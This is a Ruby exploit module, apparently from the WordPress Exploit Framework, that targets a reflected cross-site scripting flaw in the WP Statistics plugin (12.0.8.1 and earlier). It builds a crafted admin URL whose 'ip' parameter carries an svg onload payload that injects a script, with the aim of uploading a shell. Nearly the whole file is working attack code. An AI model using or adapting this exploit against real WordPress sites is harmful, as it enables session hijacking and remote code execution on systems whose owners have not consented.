# frozen_string_literal: true

class Wpxf::Exploit::WpStatisticsReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'WP Statistics <= 12.0.8.1 Reflected XSS Shell Upload',
      author: [
        'Ryan Dewhurst', # Dislosure
        'rastating'      # WPXF module
      ],
      references: [
        ['WPVDB', '8855'],
        ['URL', 'http://blog.dewhurstsecurity.com/2017/07/03/wp-statistics-authenticated-xss-vulnerability.html']
      ],
      date: 'Jul 03 2017'
    )
  end

  def check
    check_plugin_version_from_readme('wp-statistics', '12.0.8.2')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php')
  end

  def xss_payload
    url_encode("'><svg onload=#{xss_ascii_encoded_include_script}><!--")
  end

  def url_with_xss
    "#{vulnerable_url}?page=wps_visitors_page&ip=#{xss_payload}"
  end
end
